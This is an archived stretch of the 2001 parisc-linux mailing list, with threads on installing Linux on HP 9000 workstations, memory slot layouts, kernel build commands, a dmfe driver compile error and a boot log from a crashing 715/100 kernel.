the processor revision is 2.4 (guess that pa1.1 refers to this) and bootrom
is reported to be 1.6 (another guess: means firmware version is 1.6--which
according to hp's site is the most 'recent' revision).  i scanned the
archives but got lost in the myriads of weird tech stuff.  if anyone can
help me with this, that would be cool (otherwise i'd have to install linux
on a crappy old p75).  thanks in advance.

-rene


Diese E-Mail wurde auf Viren geprueft. 
MAICO Villingen-Schwenningen

------_=_NextPart_001_01C11066.2365FE80
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version 5.5.2653.12">
<TITLE>715/64 wide mode problem</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=3D2>i'm trying to install pa-risc linux on a hp 9000/715/64 b=
ox via an internal cdrom drive.&nbsp; the kernel boots up but then reports<=
/FONT></P>

<P><FONT SIZE=3D2>&nbsp; &quot;firmware does not allow selection of default=
 wide mode.</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; are you trying to boot a 64bit kernel on a =
pa1.1 box?&quot;</FONT>
</P>

<P><FONT SIZE=3D2>the processor revision is 2.4 (guess that pa1.1 refers to=
 this) and bootrom is reported to be 1.6 (another guess: means firmware ver=
sion is 1.6--which according to hp's site is the most 'recent' revision).&n=
bsp; i scanned the archives but got lost in the myriads of weird tech stuff=
.&nbsp; if anyone can help me with this, that would be cool (otherwise i'd =
have to install linux on a crappy old p75).&nbsp; thanks in advance.</FONT>=
</P>

<P><FONT SIZE=3D2>-rene</FONT>
</P>

<CODE><FONT SIZE=3D3><BR>
<BR>
Diese E-Mail wurde auf Viren geprueft. <BR>
MAICO Villingen-Schwenningen<BR>
</FONT></CODE></BODY>
</HTML>
------_=_NextPart_001_01C11066.2365FE80--




From - Thu Nov 08 21:18:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/64 wide mode problem
Date: Thu, 19 Jul 2001 17:33:19 +0200
Organization: SAP AG
Lines: 43
Approved: news@gmane.org
Message-ID: <3B56FDBF.9B22DA1C@sap.com>
References: <364340662789D31198FC006094B958C5A19B56@maicoexs>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620324 22634 80.91.229.3 (22 Nov 2014 01:38:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Damm <Damm@maico.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 09:33:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92003482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 09:33:21 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id RAA06190;
  Thu, 19 Jul 2001 17:35:02 +0200 (MESZ)
Original-Sender: d036493@sap-ag.de
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.4-4GB i686)
X-Accept-Language: en
X-SAP: out
Xref: news.gmane.org gmane.linux.ports.parisc:11692

Hi,

The 715/64 has a 32bit CPU and can't run wide mode (64bit) kernels. 
Get the 32bit ISO image and install that one.
Since I have the same box, I know that the 1.6 firmware is up-to-date
and that your box should run without any problems.
(And: your p75 isn't that bad compared with the 715/64) :-)

Greetings,

Helge

Damm wrote:
> 
> i'm trying to install pa-risc linux on a hp 9000/715/64 box via an
> internal cdrom drive.  the kernel boots up but then reports
> 
>   "firmware does not allow selection of default wide mode.
>    are you trying to boot a 64bit kernel on a pa1.1 box?"
> 
> the processor revision is 2.4 (guess that pa1.1 refers to this) and
> bootrom is reported to be 1.6 (another guess: means firmware version
> is 1.6--which according to hp's site is the most 'recent' revision).
> i scanned the archives but got lost in the myriads of weird tech
> stuff.  if anyone can help me with this, that would be cool (otherwise
> i'd have to install linux on a crappy old p75).  thanks in advance.
> 
> -rene

-- 
_______________________________________________________________________

THE BEST RUN E-BUSINESSES RUN SAP
_______________________________________________________________________

Helge Deller                            email: helge.deller@sap.com
SAP AG Walldorf/Baden, Germany         
LinuxLab                               

SAP LinuxLab support address: linux@sap.com




From - Thu Nov 08 21:18:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] What kind of RAM uses a 715/75?
Date: Thu, 19 Jul 2001 12:59:22 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB192162699@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620324 22637 80.91.229.3 (22 Nov 2014 01:38:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:44 +0000 (UTC)
To: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 11:01:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cindrpmx1.corp.harris.com (cindrpmx1.corp.harris.com [137.237.241.23])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADDEF482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 11:01:24 -0600 (MDT)
Original-Received: by cindrpmx1.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <N3H11ZYC>; Thu, 19 Jul 2001 13:01:21 -0400
Return-Receipt-To: "Pedot, Wolfgang" <wpedot@harris.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11693

Hi,

During my work on my 715/75 (works now fine) I saw that it seem to use standard
SIMMs.
Does anybody now what Type of RAM this Workstation needs (EDO, FPM, what Size
max...)?

greetings
Wolfgang





From - Thu Nov 08 21:18:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.6-pa20 question about modules
Date: Thu, 19 Jul 2001 19:46:09 +0200
Lines: 108
Approved: news@gmane.org
Message-ID: <OF46B79DB5.FE766246-ONC1256A8E.005BA756@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620325 22638 80.91.229.3 (22 Nov 2014 01:38:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:45 +0000 (UTC)
Cc: marteaut@esiee.fr, parisc-linux@lists.parisc-linux.org
To: "Richard Hirst <rhirst" <rhirst%linuxcare.com%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 11:43:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9A50482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 11:43:50 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d54d91cfce4@epirel991.europay.com>;
 Thu, 19 Jul 2001 19:43:28 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/19/2001 07:46:10 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11694

Richard,

Just a small tips I use on my i386 linux-box: I launch the make in one line
and tacke a log which I can so analyze later like:

make dep clean bzImage modules modules_install 2>&1 | tee
/var/tmp/kl-200107.log

(presently replace bzImage by vmlinux for parisc on a parisc-box seems to
work)

May be, it should be helpfull :))

Joel

ps: but with parisc-box I met a problem which I do not met with the
xcompiler on i386 linux-box:

dmfe.c: In function `dmfe_timer':
dmfe.c:1193: Unable to find a register to spill in class `FP_REGS'.
dmfe.c:1193: This is the insn:
(insn 255 254 894 (set (reg:DF 22 %r22 [157])
        (float:DF (reg:DI 4 %r4 [158]))) 149 {floatdidf2} (insn_list 254
(nil))
    (expr_list:REG_DEAD (reg:DI 4 %r4 [158])
        (expr_list:REG_EQUAL (unsigned_float:DF (reg:SI 156))
            (nil))))
dmfe.c:1193: confused by earlier errors, bailing out
make[2]: *** [dmfe.o] Error 1
make[2]: Leaving directory
`/usr/src/kernel-source-2.4.6-20010717/drivers/net'
make[1]: *** [_modsubdir_net] Error 2
make[1]: Leaving directory `/usr/src/kernel-source-2.4.6-20010717/drivers'
make: *** [_mod_drivers] Error 2

any idea?




                                                                           =
                                       =20
                    Richard Hirst                                          =
                                       =20
                    <rhirst@linux        To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD                             =20
                    care.com>            cc:     marteaut@esiee.fr@SMTP@EUR=
OPAY,                                  =20
                                         parisc-linux@lists.parisc-linux.or=
g@SMTP@EUROPAY                         =20
                    19-07-01             Subject:     Re: [parisc-linux] 2.=
4.6-pa20 question about modules        =20
                    01:24 AM                                               =
                                       =20
                                                                           =
                                       =20
                                                                           =
                                       =20



On Wed, Jul 18, 2001 at 06:33:21PM +0200, Jo=EBl Soete wrote:
> Hi Thomas,
>
> With your tips
> (
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/013081.html)
>
> the cvs 20010717 seems to works fine.
> (for b180 still have to unplug re-plug kdb)
>
> I also try to recompile it with the .config file supply with
palinux-0.9.2.
> It also seems to works well but modules are not install naturally.
> Can you explain me how to compile it and install it?

If I understand correctly, you are rebuilding the kernel, and want
kernel modules installed correctly under /lib/modules?


cd /usr/src/linux   (or wherever your source tree is)
# save your .config file, if you want it
make distclean
cp <config file> .config
make oldconfig
make dep
make
make modules
make modules_install
cp vmlinux /boot/vmlinux   (or whereever you want it to go)


Richard





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.6-pa20 question about modules
Date: Thu, 19 Jul 2001 19:14:29 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20010719191429.A22668@parcelfarce.linux.theplanet.co.uk>
References: <OF46B79DB5.FE766246-ONC1256A8E.005BA756@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620325 22640 80.91.229.3 (22 Nov 2014 01:38:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:45 +0000 (UTC)
Cc: "Richard Hirst <rhirst" <rhirst%linuxcare.com%SMTP%EUROPAY@mastercard.com>,
	marteaut@esiee.fr, parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 12:14:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BC71482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 12:14:31 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15NIJh-0005wT-00; Thu, 19 Jul 2001 19:14:29 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OF46B79DB5.FE766246-ONC1256A8E.005BA756@LocalDomain>; from jso@europay.com on Thu, Jul 19, 2001 at 07:46:09PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11695

On Thu, Jul 19, 2001 at 07:46:09PM +0200, Jol Soete wrote:
> make dep clean bzImage modules modules_install 2>&1 | tee
> /var/tmp/kl-200107.log

don't do this.  make dep creates dependencies which then need to be taken
into account for later steps.  you might rely on make getting this right,
but i don't.

> ps: but with parisc-box I met a problem which I do not met with the
> xcompiler on i386 linux-box:
> 
> dmfe.c: In function `dmfe_timer':
> dmfe.c:1193: Unable to find a register to spill in class `FP_REGS'.

bug in that driver (it has x * 1.5, which uses fp).  fixed in alan's tree,
though i don't believe it's made its way into linus' tree yet.

consider youself lucky you get compile-time errors instead of random
inexplicable fp corruption.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation success on C200
Date: Thu, 19 Jul 2001 13:29:15 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <200107191929.NAA18096@puffin.external.hp.com>
References: <jakob@southpole.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620325 22646 80.91.229.3 (22 Nov 2014 01:38:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jakob@southpole.se
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 13:30:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C38A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 13:30:49 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA18096;
	Thu, 19 Jul 2001 13:29:15 -0600
In-Reply-To: Message from Jakob Sandgren <jakob@southpole.se> 
   of "Thu, 19 Jul 2001 12:09:11 +0200." <20010719120911.C6908@southpole.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:11696

Jakob Sandgren wrote:
> A question;
> during boot the firmware complains about that the memory is not
> installed for "optimal performance". Do anyone know what to do about
> this?

The owners guide or install guide will tell exactly how to do that.
Anyone have such a guide for C200?

Typically one should install the biggest SIMMs in the lowest numbered
slots. Some models want them installed in pairs of the same size.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with Release 0.9 for PA-RISC
Date: Thu, 19 Jul 2001 23:07:37 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20010719230737.U30356@linuxcare.com>
References: <Ulrich.Laubrock@t-systems.de> <200107182135.PAA08428@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620326 22650 80.91.229.3 (22 Nov 2014 01:38:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:46 +0000 (UTC)
Cc: "Laubrock, Ulrich" <Ulrich.Laubrock@t-systems.de>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 16:09:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 329CE482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 16:09:50 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A951FB00C; Thu, 19 Jul 2001 23:07:37 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200107182135.PAA08428@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Wed, Jul 18, 2001 at 03:35:58PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11697

On Wed, Jul 18, 2001 at 03:35:58PM -0600, Grant Grundler wrote:
> > Is there a tool for administration the system after reboot the installation
> >  like "dbootstrap" ?
> 
> Sorry - I don't know dbootstrap.

dbootstrap is part of boot-floppies, it is the program that you
interact with for the first stage of the install.  You can't rerun
that.

After the first reboot, for second stage install, base-config is
running.  You can run that again (/sbin/base-config), if you want
to.  If you are running a serial console, you might find base-config
has been removed, in which case apt-get install base-config.

You can dpkg-reconfigure <pkgname> if there is a particular
pkg you want to reconfigure.

Richard





From - Thu Nov 08 21:18:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation success on C200
Date: Thu, 19 Jul 2001 21:14:12 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <20010719211412.B23181@beavis.ybsoft.com>
References: <200107191929.NAA18096@puffin.external.hp.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620326 22651 80.91.229.3 (22 Nov 2014 01:38:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 21:14:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amanda.ybsoft.com (lametoby.ybsoft.com [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53370482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 21:14:20 -0600 (MDT)
Original-Received: from beavis.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by amanda.ybsoft.com (Postfix) with ESMTP
	id 22FCB5873A; Thu, 19 Jul 2001 14:15:38 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id ECD27BC72; Thu, 19 Jul 2001 21:14:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200107191929.NAA18096@puffin.external.hp.com>
User-Agent: Mutt/1.3.18i
Xref: news.gmane.org gmane.linux.ports.parisc:11698

Jacob and Grant,

The Slots are numbers as follows (according to the Owners Guide):

0A
4A
0B
4B
2A
5A
2B
5B
<space>
<space>
3A
1A
3B
1B

Rear of Main Tray


The C200 takes 16MB, 32MB, 64MB, or 128MB and must be intalled 
in pairs.  Always install the largest capacity memory modules 
in the lowest numbered memory slots.

Hope this helps.

- Ryan


On Thu, Jul 19, 2001 at 01:29:15PM -0600, Grant Grundler wrote:
> Jakob Sandgren wrote:
> > A question;
> > during boot the firmware complains about that the memory is not
> > installed for "optimal performance". Do anyone know what to do about
> > this?
> 
> The owners guide or install guide will tell exactly how to do that.
> Anyone have such a guide for C200?
> 
> Typically one should install the biggest SIMMs in the lowest numbered
> slots. Some models want them installed in pairs of the same size.
> 
> grant
> 
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 

-- 




From - Thu Nov 08 21:18:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.6-pa20 question about modules
Date: Fri, 20 Jul 2001 13:56:46 +0800
Lines: 33
Approved: news@gmane.org
Message-ID: <20010720135640.W23932@neep.com.au>
References: <OF46B79DB5.FE766246-ONC1256A8E.005BA756@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620326 22653 80.91.229.3 (22 Nov 2014 01:38:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 19 23:57:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-02.iinet.net.au [203.59.24.17])
	by dsl2.external.hp.com (Postfix) with SMTP id EB576482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jul 2001 23:57:20 -0600 (MDT)
Original-Received: (qmail 28812 invoked by uid 666); 20 Jul 2001 05:57:10 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.193.59)
  by mail.iinet.net.au with SMTP; 20 Jul 2001 05:57:10 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id NAA26560
	for parisc-linux@lists.parisc-linux.org; Fri, 20 Jul 2001 13:56:57 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OF46B79DB5.FE766246-ONC1256A8E.005BA756@LocalDomain>; from jso@europay.com on Thu, Jul 19, 2001 at 07:46:09PM +0200
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11699

Quoth Jol Soete:
> Just a small tips I use on my i386 linux-box: I launch the make in one line
> and tacke a log which I can so analyze later like:
> 
> make dep clean bzImage modules modules_install 2>&1 | tee /var/tmp/kl-200107.log

Safer to run them separately.  You can still easily log them, there are
many possible ways to do this ...

$ for target in clean dep vmlinuz modules modules_install
> do make $target 2>&1 | tee -a /var/tmp/kl-200107.log
> done

$ (make clean ; make dep ; make vmlinux ; make modules ; make modules_install) 2>&1 | tee -a /var/tmp/kl-200107.log

$ script /var/tmp/kl-200107.log
Script started, output file is /var/tmp/kl-200107.log
$ make clean ; make dep ; make vmlinux ; make modules ; make modules_install ; exit
...
Script done, output file is /var/tmp/kl-200107.log
$


Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:18:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel crashs on 715/100
Date: Fri, 20 Jul 2001 08:18:45 +0200
Lines: 247
Approved: news@gmane.org
Message-ID: <3B57CD45.220090EA@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------4CC60164A75AC93662149227"
X-Trace: ger.gmane.org 1416620327 22656 80.91.229.3 (22 Nov 2014 01:38:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 20 00:20:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.vi-internet.de (proxy1.vi-internet.de [195.182.114.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49F49482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jul 2001 00:20:40 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de ([62.180.200.57]) by mail.vi-internet.de  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Fri, 20 Jul 2001 08:19:15 +0200
Original-Sender: ruediger@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.4.6-3mdk i586)
X-Accept-Language: de, de-DE, en
Xref: news.gmane.org gmane.linux.ports.parisc:11700

Dies ist eine mehrteilige Nachricht im MIME-Format.
--------------4CC60164A75AC93662149227
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi there!
I have a 715 / 100, running the 0.9-Release with updated GCC and Glibc.
I got the freshest Kernel from CVS (2.4.6-pa20) and compiled it on my
machine. Only SerCon is enabled, as STICon and StiFB aren't working for
me.
But when I boot the new kernel,  it crashs right after the message "Set
default PSW W bit to 0"
System.map and Config-File of the Kernel are available at
http://www.tu-darmstadt.de/~rscholz .

Another question, but a little bit OT:

I have still 2 memory modules from an old HP server (an E45, I think).
Can
I use them in my workstation too?



--------------4CC60164A75AC93662149227
Content-Type: text/plain; charset=us-ascii;
 name="minicom.cap"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="minicom.cap"


----------------------------------------------------------------------------
BootRom Version    1.4  
Memory Size:  128 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.
----------------------------------------------------------------------------
Command                                Description
-------                                -----------
Auto [boot|search] [on|off]            Set/show auto mode
Boot [pri|alt [isl]]                   Boot from primary or alternate path
Boot [scsi|eisa.<slot>[.<addr>]] [isl] Boot from SCSI or EISA
Boot lan[.<addr>] [install] [isl]      Boot from LAN
Chassis [on|off]                       Set/show chassis codes display mode
DefaultSS                              Reboot and set EEPROM to default values
Diagnostic [on|off]                    Set/show diagnostic boot mode
Fastboot [on|off]                      Set/show fast boot mode
Help                                   Show this command menu
Information                            Show system information
LanAddress                             Show LAN station addresses
Monitor [<DEV>[.<type>]]               Set/show graphics monitor type
                                       (<DEV>=graphics|graphics_<1|2>)
Path [pri|alt [<DEV>[.<addr>]]]        Set/show boot source path
                                       (<DEV>=lan|scsi|eisa.<slot>)
Path [console [<DEV>[.<parm>]]]        Set/show boot console path
                                       (<DEV>=<RS232>|<GRAPH>
                                        <RS232>=rs232|rs232_2
                                        <parm>=<baud>.<length>.<parity>
                                        <GRAPH>=graphics|graphics_<1|2>
                                        <parm>=<monitor>)
Path [keyboard [hil|ps2]]              Set/show boot keyboard path
Pim [hpmc|toc|lpmc]                    Show PIM info
Search [ipl] [scsi|eisa]               Show potential boot devices
Search [ipl] [lan [install]]           Show potential boot LAN devices
Secure [on|off]                        Set/show security mode
----------------------------------------------------------------------------
BOOT_ADMIN> bo pri




Attempting to boot.

Loading Initial Program Loader


IPL successfully loaded


Booting
palo ipl 0.93 root@gandalf Sun Jul  8 12:19:37 CEST 2001
0/vmlinux32 2622963 bytes @ 0x48000
Partition Start(MB) End(MB) Id Type
1               1      22   f0 Palo
2              23      64   83 ext2
3              65     194   82 swap
4             195    2046   83 ext2
Current command line:
2/vmlinux-2.4.6-pa20 root=/dev/sda4 HOME=/ TERM=linux console=ttyS0
 0: 2/vmlinux-2.4.6-pa20
 1: root=/dev/sda4
 2: HOME=/
 3: TERM=linux
 4: console=ttyS0

Edit which field?
(or 'b' to boot with this command line)? b

Command line: 'root=/dev/sda4 HOME=/ TERM=linux console=ttyS0'

Kernel: partition 2 file /vmlinux-2.4.6-pa20
ext2 block size 1024
ext2_mount(partition 2) returns 0
ext2_open(/vmlinux-2.4.6-pa20) = 3
